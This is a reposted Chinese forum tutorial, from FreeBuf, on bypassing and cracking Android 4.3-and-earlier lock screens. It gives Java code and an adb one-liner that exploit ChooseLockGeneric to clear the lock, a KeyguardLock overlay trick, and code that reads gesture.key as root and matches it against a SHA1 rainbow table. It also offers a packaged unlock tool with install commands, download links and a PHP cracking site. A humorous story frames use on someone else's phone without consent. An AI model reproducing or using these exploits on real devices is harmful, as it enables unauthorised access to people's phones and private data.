本帖最后由 linso 于 2016-11-5 05:32 编辑
0×01 最新安卓解锁漏洞 在破解之前,我们先来认识一个比较新的安卓漏洞.这个漏洞于2013年12月公布,影响4.3及以下所有系统,漏洞产生于com.android.settings.ChooseLockGeneric这个Activity中,一个名为mPasswordConfirmed的boolean被暴露,导致可以从外部触发解锁进程而无需确认解锁密码,具体看下面的分析:
com.android.settings.ChooseLockGeneric是负责更改系统的解锁方式的类,在用户要更改原先的锁定图案或密码时,需要进行重输确认, 确认后mPasswordConfirmed的值为true,但这个参数被暴露,以至于可以从外部更改,使得系统误认为已经确认了密码,从而清除锁屏.我们看看源码: [HTML] 纯文本查看 复制代码 …………..
private static final String CONFIRM_CREDENTIALS = "confirm_credentials";
………….
private boolean mPasswordConfirmed = false;
…………..
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
……………
final boolean confirmCredentials = getActivity().getIntent()
.getBooleanExtra(CONFIRM_CREDENTIALS, true);
mPasswordConfirmed = !confirmCredentials;</font></font>
我们只要将CONFIRM_CREDENTIALS设置为false,即可使得mPasswordConfirmed为true,然后会发生什么呢?接着往下看: [HTML] 纯文本查看 复制代码 ………………
if (mPasswordConfirmed) {
updatePreferencesOrFinish();
}
………………
private void updatePreferencesOrFinish() {
Intent intent = getActivity().getIntent();
int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
if (quality == -1) {
quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
MutableBoolean allowBiometric = new MutableBoolean(false);
quality = upgradeQuality(quality, allowBiometric);
final PreferenceScreen prefScreen = getPreferenceScreen();
if (prefScreen != null) {
prefScreen.removeAll();
}
addPreferencesFromResource(R.xml.security_settings_picker);
disableUnusablePreferences(quality, allowBiometric);
} else {
updateUnlockMethodAndFinish(quality, false);
}
}
……………………
void updateUnlockMethodAndFinish(int quality, boolean disabled) {
if (!mPasswordConfirmed) {
throw new IllegalStateException("Tried to update password without confirming it");
}
final boolean isFallback = getActivity().getIntent().getBooleanExtra(LockPatternUtils.LOCK
SCREEN_BIOMETRIC_WEAK_FALLBACK, false);
quality = upgradeQuality(quality, null);
if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
int minLength = mDPM.getPasswordMinimumLength(null);
if (minLength < MIN_PASSWORD_LENGTH) {
minLength = MIN_PASSWORD_LENGTH;
}
final int maxLength = mDPM.getPasswordMaximumLength(quality);
Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
intent.putExtra(CONFIRM_CREDENTIALS, false);
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
intent.putExtra("key_lock_method", "pattern");
intent.putExtra(CONFIRM_CREDENTIALS, false);
intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
isFallback);
if (isFallback) {
startActivityForResult(intent, FALLBACK_REQUEST);
return;
} else {
mFinishPending = true;
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
startActivity(intent);
}
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
Intent intent = getBiometricSensorIntent();
mFinishPending = true;
startActivity(intent);
} else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
mChooseLockSettingsHelper.utils().clearLock(false);
mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
getActivity().setResult(Activity.RESULT_OK);
finish();
} else {
finish();
}
}</font></font>
先是调用updatePreferencesOrFinish,然后是updateUnlockMethodAndFinish,在这个函数中判断系统的锁屏密码策略,android系统一共定义有以下几种密码策略:
[Asm] 纯文本查看 复制代码 PASSWORD_QUALITY_ALPHABETIC 用户输入的密码必须要有字母(或者其他字符)
PASSWORD_QUALITY_ALPHANUMERIC 用户输入的密码必须要有字母和数字
PASSWORD_QUALITY_NUMERIC 用户输入的密码必须要有数字
PASSWORD_QUALITY_SOMETHING 由设计人员决定的
PASSWORD_QUALITY_UNSPECIFIED 对密码没有要求
前几种都是给设计锁屏软件的程序员用的,系统默认的策略,包括解锁图案(因为解锁图案无法设定其他策略),都是最后一种,即”对密码没有要求”,而从上面代码可以看出,如果检测到是这种方式,则无需任何验证,直接清除密码.
所以,触发这个漏洞的方式很简单,只要从外部启动ChooseLockGeneric,设置mPasswordConfirmed为true,并设置锁屏密码策略为PASSWORD_QUALITY_UNSPECIFIED,系统会自己清除密码.
于是接下来有两条路可走:
一是编写一个简单的安卓程序.在Oncreate中输入以下代码,编译后首先确认手机已打开调试模式,然后在电脑上安装好驱动, 用adb传送到手机运行: [HTML] 纯文本查看 复制代码 Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric")); //启动ChooseLockGeneric"
intent.putExtra("confirm_credentials", false); //confirm_credentials为false,mPasswordConfirmed为true
intent.putExtra("lockscreen.password_type",0); //lockscreen.password_type为0代表PASSWORD_QUALITY_UNSPECIFIED
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);</font></font>
手机锁屏被立刻清除,在有些手机上会弹出错误提示,但其实已经成功了:
二是直接使用adb,输入以下命令:
[CSS] 纯文本查看 复制代码 adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
然后重启手机即可.
在最新的安卓4.4中,这个漏洞被修复, mPasswordConfirmed被设置为只有特定的Activity才可以更改其值: [HTML] 纯文本查看 复制代码 ………………….
public static class InternalActivity extends ChooseLockGeneric {
}
………………….
final boolean confirmCredentials = getActivity().getIntent()
.getBooleanExtra(CONFIRM_CREDENTIALS, true);
if (getActivity() instanceof ChooseLockGeneric.InternalActivity) {
mPasswordConfirmed = !confirmCredentials;
}
用InternalActivity继承了ChooseLockGeneric,只有它才可以更改mPasswordCOnfi
rmed.
0×02 一个不算漏洞的漏洞
上面的第一种方法有个致命的问题,那就是在已锁定的状态下,启动的程序是无法运行的,如果要让我们编写的触发程序正常运行,需要使用到一个由来已久的奇怪漏洞.这个漏洞首先由wooyun披露(http://www.wooyun.org/bugs/wooyun-2010-09978),说它是漏洞,因为它可以完全屏蔽安卓系统的屏幕锁定,用我们自己的程序覆盖在其上层,说它不是漏洞,因为它是谷歌官方提供的API,很莫名其妙的API…
在android.app.KeyguardManger中,谷歌提供了一个子类KeyguardLock,我们在自己编写的程序中调用其disableKeyguard方法,就可以使程序完全显示在锁定界面的上层: [Asm] 纯文本查看 复制代码 import android.app.KeyguardManager;
import android.app.KeyguardManager.KeyguardLock;
………………………
KeyguardManager manager = (KeyguardManager) getSystemService(KEYGUARD_SER
VICE);
if(manager.inKeyguardRestrictedInputMode()){
KeyguardLock keyguard = manager.newKeyguardLock(getLocalClassName());
keyguard.disableKeyguard();
}</font></font>
经过测试.无论何种锁定方法均有效,运行后按Home键完全没有反应,按返回键直接回到桌面,但过一段时间,手机锁屏还是会自己出现,不过这段时间足够我们做一些事情了,比如利用前面的解锁漏洞. 0×03 gesture.key文件的秘密
说了一大堆都是关于解锁的,但都是讲的过程,利用代码来触发漏洞,那么问题就来了,无论用什么方法,我们最终还是要操作这个锁屏图案的,可是它到底保存在哪里?以什么方式储存的?
实际上我探究这个问题是从一篇报道开始的,这篇东西已经在网上被转载的到处都是了,随便百度一下就有一大堆:
我很奇怪的是,破解各种设备和账号如探囊取物一般的FBI,高手如云的FBI,居然搞不定一台小小的手机,抱着极度怀疑的心态我进行了研究,结果发现这条所谓的新闻完全是彻头彻尾的扯淡!
当然通过前面的部分你们已经看到了,几乎是秒破,但这只是删除了解锁图案,如果我要获取解锁图案该怎么办?
首先要知道这个图案储存的位置,它存在于/data/system目录中的gesture.key文件中,只有root后才可以读取,用16进制编辑器打开后,发现它是一个20字节的文件:
很眼熟,让我想到了SHA1,经过验证,确实是这样.安卓的解锁图案一共有九个点,按顺序设定值为0×00-0×08(注意这里是十六进制),如下图所示:
这九个值依据设定好的解锁图案的顺序,依次排列,排列结果以hex的形式进
行SHA1加密,然后以byte形式存储于gesture.key中.比如上面十六进制编辑器打开的文件,密文是
6a062b9b3452e366407181a1bf92ea73e9ed4c48,原文实际上是00010204060708,注意这是十六进制,不
是十进制,这样排列下来,是一个
Z字形图案.
那么一个想法就产生了,我们可以把所有可能的图案全部转换成值,然后以SHA1加密,就可以制作一个彩虹表: [Asm] 纯文本查看 复制代码 import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class sha1Class {
private static final char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5',
'6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' };
public sha1Class() {
}
/**
* 十六进制字符串SHA1
* @param hexData
* @return
*/
public String sha1code(String hexData){
byte[] data = hexStringToByteArray(hexData);
MessageDigest md = null;
try {
md = MessageDigest.getInstance("SHA-1");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
md.update(data, 0, data.length);
byte[] sha1hash = md.digest();
return getFormattedText(sha1hash);
}
/**
* 把十六进制字符串转换成byte
* @param s
* @return
*/
private static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}
/**
* 把byte转换成string
* @param bytes
* @return
*/
private static String getFormattedText(byte[] bytes) {
int len = bytes.length;
StringBuilder buf = new StringBuilder(len * 2);
for (int j = 0; j < len; j++) {
buf.append(HEX_DIGITS[(bytes[j] >> 4) & 0x0f]);
buf.append(HEX_DIGITS[bytes[j] & 0x0f]);
}
return buf.toString();
}
}</font></font>
上面的类实例化之后,只需调用函数sha1code即可获得密文.具体过程是先把原文的十六进制字符串转换成byte,然后SHA1,再将结果转换成string.
安卓解锁图案的规则是至少4个点,至多9个点,那么如此计算:
4个点的密码 9*8*7*6=3024
5个点的密码 9*8*7*6*5=115120
6个点的密码 9*8*7*6*5*4=60480
7个点的密码 9*8*7*6*5*4*3=181440
8个点的密码 9*8*7*6*5*4*3*2=362880
9个点的密码 9*8*7*6*5*4*3*2*1=362880
上述之总和为985824个密码,我们用上面给出的类,将这些密码全部
SHA1,然后把原文和密文都存储在数据库中,一个彩虹表就完成了,最终,我用sqlite制作的彩虹表大小为77mb.接下来只需编写程序,先把彩虹表
用adb拷贝到SD卡中,然后获取root权限,读取gesture.key文件,然后与数据库中的密文进行hash碰撞,就可以得到密码,并且还原为解
锁图形. [Asm] 纯文本查看 复制代码 /**
* 以root权限执行命令函数
* @param cmd
* @return
*/
private boolean runCmd(String cmd){
Process process = null;
DataOutputStream os = null;
try{
process = Runtime.getRuntime().exec("su"); //请求root权限
os = new DataOutputStream(process.getOutputStream());
os.writeBytes(cmd+ "\n");
os.writeBytes("exit\n");
os.flush();
process.waitFor();
} catch (Exception e) {
return false;
} finally {
try {
if (os != null) {
os.close();
}
process.destroy();
} catch (Exception e) {
}
}
return true;
}
…………………
String sd=Environment.getExternalStorageDirectory().getPath();
String code = "";
BufferedInputStream in;
runCmd("cat /data/system/gesture.key > /sdcard/gesture.key"); //首先获取root,然后拷贝文件到SD卡中
try {
in = new BufferedInputStream(new FileInputStream(sd+"/gesture.key"));
byte[] a = new byte[1024]; //byte方式读取并转换为string
int count = -1;
StringBuilder s1 = new StringBuilder();
while ((count = in.read(a)) != -1) {
for (int i = 0; i < count; i++) {
convertByte2Hex(a[i], s1);
}
in.close();
if (fileIsExists(sd+"/sha1.db")) //检测彩虹表是否存在
{
SQLiteDatabase db = openOrCreateDatabase(sd+"/sha1.db", Context.MODE_PRIVATE, null); //连接彩虹表数据库
Cursor c = db.rawQuery("SELECT * FROM sha1dic where sha1= ?", new String[]{s1.toString()});
while (c.moveToNext()) {
code = c.getString(c.getColumnIndex("code")); //查表并获取原文
}
c.close();
db.close();
}else
{
Toast toast = Toast.makeText(MainActivity.this,"没有找到彩虹表,请确认sha1.db是不是已经拷贝到了sd卡中!", Toast.LENGTH_SHORT);
toast.show();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
0×04 综合出一个神器
上面介绍了三个和破解安卓锁屏有关的东西,我们现在要做的,就是综合它们各自的优点,制作出一个解锁神器来.
首先用adb把彩虹表传送到sd卡中,然后利用KeyguardLock屏蔽锁屏界面,显示我们的程序,程序中设计两个功能:还未root的手机使用解锁
漏洞解锁,已root的则直接读取gesture.key 并查表破解(当然已root也可以使用解锁漏洞).具体流程如下图所示:
程序的具体代码请看文后的下载地址,界面如下:
安装方法: 确认手机已经事先开了调试模式,然后在PC上建立如下批处理,安装好adb和手机驱动,并把彩虹表和解锁程序以及批处理都放在同一个目录中,运行批处理即可开启神器(sha1.db是彩虹表, puzzleUnlock.apk是解锁神器):
[Asm] 纯文本查看 复制代码 adb push sha1.db /sdcard/sha1.db
adb install puzzleUnlock.apk
adb shell am start -n com.baiker.puzzleunlock/com.baiker.puzzleunlock.MainActivity
由于绕过锁屏的方法并不完美,所以有些手机上可能没有反应,此时请重启手机,神器会自动运行,如果还不成功,请使用下面的ADB解锁法. 只利用PC解锁说明: 本来制作了一个PC版本,但其解锁原理仍然是通过ADB命令,所以觉得没有意义,就不公开了,如果用手机版无法成功,可以在PC上输入以下ADB命令:
[Asm] 纯文本查看 复制代码 adb shell am start -n
com.android.settings/com.android.settings.ChooseLockGeneric --ez
confirm_credentials false --ei lockscreen.password_type 0
--activity-clear-task
如果成功,命令运行后重启手机,即可解锁. 0×05 测试 由于安卓平台的高度可定制性,各厂商的固件均不相同,所以神器并不能保证在所有品牌的设备上均有效,截止目前,共测试以下品牌:
[Asm] 纯文本查看 复制代码 Samsung: 4.0以上固件在pc上用ADB可以正常解锁,手机版无法绕过锁屏,4.0以下固件手机版可以绕过锁屏,但无法解锁.
小米: 手机版完全无法安装,PC上用ADB未测试.
魅族:完美破解
步步高:完美破解
波导:完美破解
Asus平板:完美破解
[kend已经走了] 刘尼玛拿到了我的解锁神器,不费吹灰之力的解开了手机,当他拿着手机兴冲冲地去找kend基友的时候,却发现人去屋空,询问邻居才知道,kend昨天晚上接到紧急通知,公司派他去国外出差,已经坐上了去马来西亚的飞机……
刘尼玛只好怅然而归. ”看来,只有等他回来再给他了.” 回到家的刘尼玛一边自言自语,一边把手机收到抽屉里,然后坐到电脑前,饶有兴致的去研究他最喜欢的爱情动作片了.
而Q博士,也就是本人,在研究完神器之后,把其中的彩虹表单独卖给一个猥琐的菊花经销商,狠狠的赚了一笔…..
本文所涉及到的程序以及源码,还有本文的doc版下载地址:
http://pan.baidu.com/s/1sj33bTr 冷爱部分: [故事总有个开端] Kend突然消失,只留下一部加锁的手机,他的原配小猪怀疑kend已经有了小三了,本想直接删除gesture.key文件,又怕事后被kend发现。
只好以30朵菊花代价,请菊花经销商破解。为了最大利润,菊花经销商只用15朵代价和q博士购买彩虹表,再用1朵菊花请村头行乞的看尼魅写个简易的使用程
序。
0×01 程序的设计的构建。 从q博士那里购买彩虹表,用的是sqlite数据库。使用php脚本读数据库。(在php里有多种方案可以实现读写sqlite数据库。这里采用了sqlite3的方法)。 在php.ini 里面开启extension=php_sqlite3.dll ,和绘图功能 extension=php_gd2.dll 可以用<?phpphpinfo() ;?>查看是否开启成功。 程序的设计流程,上传key文件,脚本读取key文件的内容,再把读取到key和数据库里面配对,如果有配对就绘图,否则提示客户key文件错误。
0×2 解读细节
File.php [PHP] 纯文本查看 复制代码 <?php
class file{
protected $file;
public function __construct(&$file)
{
$this->file=$file;
}
public function file_upload(){
if($this->file['error']!=0)
{
return false;
}
if(!is_uploaded_file($this->file['tmp_name']))
{
return false;
}
if(filesize($this->file['tmp_name'])!=20)
{
return false;
}
if($this->getkFileSuffix()!='key')
{
return false;
}
$path=dirname(__FILE__).'/../key/';
$name=$this->rename();
$path=$path.$name;
$status=move_uploaded_file($this->file['tmp_name'],$path);
if($status)
{
return $path;
}else
{
return false;
}
}
public function getkFileSuffix()
{
$pos=strrpos($this->file['name'],'.');
$suffix=substr($this->file['name'],$pos+1);
return $suffix;
}
public function rename()
{
$name= time();
$type=$this->getkFileSuffix();
$name=$name.'.'.$type;
return$name;
}
}
?></font></font>
file 类里面构造函数__construct()引用传递一个文件信息的参数。该参数由$_FILES['file']得到,$_FILES['file']包含了文件上传的信息,上传状态,大小,临时路径,名字。
getkFileSuffix()函数取得上传文件的后缀(即最后一个.以后的文本)。
rename()用于构建一下文件名,以文件上传时间戳来命名
file_upload()函数对在要上传文件,分别检查上传状态,是否是合法的http上传文件大小,正常的情况下key的大小为20字节。和检测是否为key后缀。以上检测都合法的话,就把文件从tmp文件夹里面移到key文件夹下。
Key.php [Asm] 纯文本查看 复制代码 class key{
public function readEncryptionKey($path)
{
$fHandle=fopen($path,'rb');
$contents=fread($fHandle,1);
$hex='';
while(!feof($fHandle))
{
$a=ord($contents);
$hex.=sprintf("%02x",$a);
$contents=fread($fHandle,1);
}
fclose($fHandle);
return $hex;
}
public function getDecryptionKey($path)
{
$key= $this->readEncryptionKey($path);
$sql="select* from sha1dic where sha1='$key' ";
$x=sqlite::getInstance();
$result=$x->ExcuteQuery($sql);
$code=$result['code'];
return$this->formatKey($code);
}
protected function formatKey($code)
{
$i=1;
$pwd='';
while(isset($code[$i]))
{
$pwd=$pwd.$code[$i];
$i=$i+2;
}
return$pwd;
}
}
在这个类里面。readEncryptionKey函数,打开key文件,并且通过
fread函数,每次读取一个字节。通过ord函数,把读取到的字节转化为asc码,在通过sprintf把得到的asc码按16进制存储。通过hex变
量进行拼接。最后返回的就是key里面的字符
例如
比如读取第一个字符,那么这个时候$content储存的是一个asc码为208的字符,用过ard就可以得到这个asc码(这个asc码是10进制的),接着通过sprintf,把数据格式化为16进制的,并且 保存在$key里面。 getDecryptionKey函数,读取key值,并且返回明文的密码。因为iq博士是木jj的,返回密码是是类似 01020506这里的。所以通过formatKey函数把多余的0去掉变成1256.
Sqlite.php [Asm] 纯文本查看 复制代码 class sqlite{
protected static $sqlite = null;
protected $db;
private function __construct(){
$path=dirname(__FILE__).'/../database/sha1.db';
$this->db = new SQLite3($path);
}
public static function getInstance(){
if(self::$sqlite instanceofsqlite )
{
return self::$sqlite;
}else{
self::$sqlite = newsqlite();
return self::$sqlite;
}
}
public function ExcuteQuery($sql)
{
$result= $this->db->query($sql);
$res=$result->fetchArray(SQLITE3_ASSOC);
return $res;
}
}</font></font>
用于读取sqlite数据库。getInstance函数实现了只有一个连接对象对sqlite数据库的连接。
ExcuteQuery函数用于执行传递进来的sql语句,并且返回得到的结果。
Image.php [Asm] 纯文本查看 复制代码 header('Content-Type:image/jpeg');//用于通知浏览器接受数据的类型,以便显示
class image{
//这个数组保存了图片里面9个点的位置。以便用于绘图。
protected $position=array(
array('x'=>55,'y'=>160),
array('x'=>215,'y'=>160),
array('x'=>370,'y'=>160),
array('x'=>55,'y'=>320),
array('x'=>215,'y'=>320),
array('x'=>370,'y'=>320),
array('x'=>55,'y'=>480),
array('x'=>215,'y'=>480),
array('x'=>370,'y'=>480)
);
protected $img;
protected $penColor;
/*
构造函数打开图片,返回文件实例。
创建一个画笔和字符串的颜色
*/
public function __construct()
{
$this->img=imagecreatefromjpeg(dirname(__file__).'/../img/img.jpg');
$this->penColor=imagecolorallocate($this->img,255,0,0);
$this->strColor=imagecolorallocate($this->img,0,0,0);
}
/**
*绘画密码,输出密码
*@param string 数据库得到的密码。
*/
public function beginPaint($code)
{
$i=0;
while(isset($code[$i]))
{
$pos=intval($code[$i]);
if($i>0)
{
$lastPos=intval($code[$i-1]);
imageline($this->img,$this->position[$lastPos]['x'],$this->position[$lastPos]['y'],$this->position[$pos]['x'],$this->position[$pos]['y'],$this->penColor);
}
imagettftext($this->img,30,0,$this->position[$pos]['x'],$this->position[$pos]['y'],$this->strColor,dirname(__file__).'./simkai.ttf',$i+1);
//为了输出字体大小。我选择了自定义的字体。
$i=$i+1;
}
imagejpeg($this->img);
}
}</font></font>
在index里面做一个表单,定义数据格式,数据接收路径和数据提交方法。
Crack.php [Asm] 纯文本查看 复制代码 include_once './model/file.php';
$file= new file($_FILES['file']);
$path=$file->file_upload();
if(!$path)
{
echo '上传文件失败,请确认是否为key文件!';
exit();
}
include_once './model/key.php';
$status=file_exists($path);
if(!$status)
{
echo '文件不存在,请确认好文件地址。';
exit();
}
$key= new key();
$code=$key->getDecryptionKey($path);
if(empty($code))
{
echo '该密码无法破解!';
exit();
}
include_once './model/image.php';
$img=new image();
$img->beginPaint($code);</font></font>
Crack文件用于组装各个模型。 接收 index.php发送过来的数据。保存文件,读取文件,破解密码,最后画图。 0×3 实战 三星 i9300 2.3.5系统 已经root.\ 一条数据线(用山寨居然不能识别到设备) ————————————————————————————————–
1-查看设备是否连接
2-文件在/system/data 下
3-导出文件。
如果直接用 pull导出的话,是不行的,会出现权限不足。
用root权限,把key 拷贝到sdcard目录下。
至于为什么提示是0bytes 我也不明白。等下问q博士。
4-打开网站,www.test.com.上传文件
5-得到结果。 破解成功。 X04 故事总有一个结果。 小猪把手机交给菊花经销商。经销商发现手机又是root又开调试模式。如果不是root权限,只能发30朵菊花和q博士购买pc版本的了。 这比生意总是完成了。据说小猪当天晚上就包机去马来西亚。
代码下载地址:http://pan.baidu.com/s/1i3mizx7
doc文件下载地址:http://pan.baidu.com/s/1c0eReKS
原文:http://www.freebuf.com/articles/terminal/31176.html
明文密码按点位置连线就可以:
0 1 2
3 4 5
6 7 8 下载地址:http://pan.baidu.com/s/1hqrDeQg
转这篇文章花了50多分钟,求打赏
|